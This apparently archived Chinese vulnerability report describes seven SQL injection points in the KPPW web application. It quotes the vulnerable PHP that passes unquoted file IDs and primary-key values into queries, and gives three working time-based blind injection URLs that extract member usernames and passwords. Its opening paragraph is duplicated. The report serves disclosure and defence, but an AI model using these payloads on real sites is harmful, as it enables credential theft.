### 简要描述： KPPW最新版SQL注入漏洞七(多处不同注入点) ### 详细说明： KPPW最新版SQL注入漏洞七，多处不同注入点 第一处sql注入： 文件/control/user/transaction_works.php: ``` if($action == 'delete_image'){ $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid); $arrFileInfo = db_factory::get_one($strSql); $resText = CommonClass::delFileByFileId($fileid); if($resText){ $array = explode(',', $arrServiceInfo['pic']); $newArr = CommonClass::returnNewArr($arrFileInfo['save_name'], $array); $_POST['file_ids'] = implode(",", $newArr); updateFilepath($arrServiceInfo['service_id'], $_POST['file_ids'], 'pic'); kekezu::echojson('删除成功',1,array('fileid'=>$fileid,'save_name'=>$arrFileInfo['save_name']));die; } } ``` 注意这里： ``` $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid); ``` $fileid没有引号保护进入sql语句，导致存在注入 第二，三处sql注入： 继续看下面的： ``` $resText = CommonClass::delFileByFileId($fileid); ```...
### 简要描述： KPPW最新版SQL注入漏洞七(多处不同注入点) ### 详细说明： KPPW最新版SQL注入漏洞七，多处不同注入点 第一处sql注入： 文件/control/user/transaction_works.php: ``` if($action == 'delete_image'){ $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid); $arrFileInfo = db_factory::get_one($strSql); $resText = CommonClass::delFileByFileId($fileid); if($resText){ $array = explode(',', $arrServiceInfo['pic']); $newArr = CommonClass::returnNewArr($arrFileInfo['save_name'], $array); $_POST['file_ids'] = implode(",", $newArr); updateFilepath($arrServiceInfo['service_id'], $_POST['file_ids'], 'pic'); kekezu::echojson('删除成功',1,array('fileid'=>$fileid,'save_name'=>$arrFileInfo['save_name']));die; } } ``` 注意这里： ``` $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid); ``` $fileid没有引号保护进入sql语句，导致存在注入 第二，三处sql注入： 继续看下面的： ``` $resText = CommonClass::delFileByFileId($fileid); ``` $fileid继续进入了函数delFileByFileId，跟进函数delFileByFileId： 文件：/lib/inc/CommonClass.php ``` public static function delFileByFileId($fileId){ $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileId); $arrFileInfo = db_factory::get_one($strSql); $filename = S_ROOT.$arrFileInfo['save_name']; if(file_exists($filename)){ unlink($filename); } return db_factory::execute("delete from ".TABLEPRE."witkey_file where file_id = ".$fileId); } ``` 这里存在两处注入，$fileid变量进入select和delete语句都没有处理，导致sql注入 第四，五，六处sql注入： 同意的问题出现在文件/control/user/transaction_works.php： ``` if($action == 'delete_goodsfile'){ $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid); $arrFileInfo = db_factory::get_one($strSql); $resText = CommonClass::delFileByFileId($fileid); if($resText){ $array = explode(',', $arrServiceInfo['file_path']); $newArr = CommonClass::returnNewArr($arrFileInfo['save_name'], $array); $_POST['file_path_2'] = implode(",", $newArr); updateFilepath($arrServiceInfo['service_id'], $_POST['file_path_2'], 'file'); kekezu::echojson('删除成功',1,array('fileid'=>$fileid,'save_name'=>$arrFileInfo['save_name']));die; } } ``` 这里的问题跟上面分析的问题一样，存在注入。 第七处sql注入： 文件/control/user/transaction_works.php： ``` if (isset($formhash)&&kekezu::submitcheck($formhash)) { $arrGoodsConfig = unserialize($kekezu->_model_list[6]['config']); $goodsprice = floatval($goodsprice); $floatMinCash = floatval($arrGoodsConfig['min_cash']); if($floatMinCash&&($goodsprice < $floatMinCash)){ $tips['errors']['goodsprice'] = '最小金额不能少于'.$floatMinCash.'元'; kekezu::show_msg($tips,null,NULL,NULL,'error'); } if (strtoupper ( CHARSET ) == 'GBK') { $goodsname = kekezu::utftogbk($goodsname ); $goodsdesc = kekezu::utftogbk($goodsdesc ); $unite_price = kekezu::utftogbk($unite_price ); } $arrData = array( 'model_id'=> $arrServiceInfo['model_id']?$arrServiceInfo['model_id']:6, 'uid'=> $gUid, 'username'=> $gUserInfo['username'], 'indus_id'=> $indus_id, 'indus_pid'=> $indus_pid, 'title'=> $goodsname, 'price' => $goodsprice, 'pic'=> $file_ids, 'content'=> $goodsdesc, 'unite_price'=> $unite_price, 'submit_method'=> $submit_method, 'file_path'=> $file_path_2, 'confirm_max' => intval($arrGoodsConfig['confirm_max_day']) ); if(!$pk['service_id']){ $arrData['profit_rate'] = $arrGoodsConfig['service_profit']; $arrData['on_time'] = time(); $arrData['service_status'] = 2; } $objServiceT = new keke_table_class ( 'witkey_service' ); $objServiceT->save ( $arrData,$pk); unset($objServiceT); if ($objId&&$intTaskId) { $strBidSql = ' UPDATE `'.TABLEPRE.'witkey_task_bid` SET `hasdel`=1 WHERE (`bid_id` ='.$objId.') and task_id = '.$intTaskId; $strWorkSql = ' UPDATE `'.TABLEPRE.'witkey_task_work` SET `hasdel`=1 WHERE (`work_id`='.$objId.') and task_id = '.$intTaskId; db_factory::execute($strBidSql); db_factory::execute($strWorkSql); } kekezu::show_msg('操作成功',$strJumpUrl,NULL,NULL,'ok'); } ``` 注意这里的： ``` $objServiceT->save ( $arrData,$pk); ``` 这里的变量$pk进入了save函数，跟进save函数 文件/lib/inc/keke_table_class.php： ``` function save($fields, $pk = array()) { foreach ( $fields as $k => $v ) { $kk = ucfirst ( $k ); $set_query = "set" . $kk; $this->_table_obj->$set_query ( $v ); } $keys = array_keys ( $pk ); $key = $keys [0]; //echo $key."\n"; //print_r($pk); //echo $pk[$key]; if (! empty ( $pk [$key] )) { $this->_table_obj->setWhere ( " $key = '" . $pk [$key] . "'" ); $edit_query = "edit_" . $this->_pre . $this->_table_name; $res = $this->_table_obj->$edit_query (); } else { $create_query = "create_" . $this->_pre . $this->_table_name; $res = $this->_table_obj->$create_query (); } if ($res) { return $res; } else { return false; } } ``` 最后$pk的key进入了setWhere条件语句中，导致sql注入 ### 漏洞证明： 第一处SQL注入： ``` http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=transaction&op=editwork&action=delete_image&fileid=5566) and 1=if(mid((select concat(username,password) from keke_witkey_member limit 0,1),1,1)=char(97),sleep(5),2)%23 ``` 这里会延迟5秒返回，说明UserName第一个字符为a，继续即可注入出用户信息 第二，三处SQL注入： ``` http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=transaction&op=editwork&action=delete_image&fileid=5566 and 1=if(mid((select concat(username,password) from keke_witkey_member limit 0,1),1,1)=char(97),sleep(5),2) ``` 这里会延迟5秒返回，说明UserName第一个字符为a，继续即可注入出用户信息 [<img src="https://images.seebug.org/upload/201412/08225401a02eaa8ba1f8c147291609bea094275c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/08225401a02eaa8ba1f8c147291609bea094275c.png) 第七处SQL注入： ``` http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=transaction&op=editwork formhash=6cb7d4&objId=0&pk%5Bservice_id=1+and+1=if(mid((select concat(username,password) from keke_witkey_member limit 0,1),1,1)=char(97),sleep(5),2)%23%5D=222222&goodsname=111&goodsdesc=111&indus_pid=249&indus_id=-1&upload=&file_ids=&goodsprice=111&unite_price=%E4%B8%AA&submit_method=outside&file_upload_i=&file_path_2= ``` 这里会延迟5秒返回，说明UserName第一个字符为a，继续即可注入出用户信息
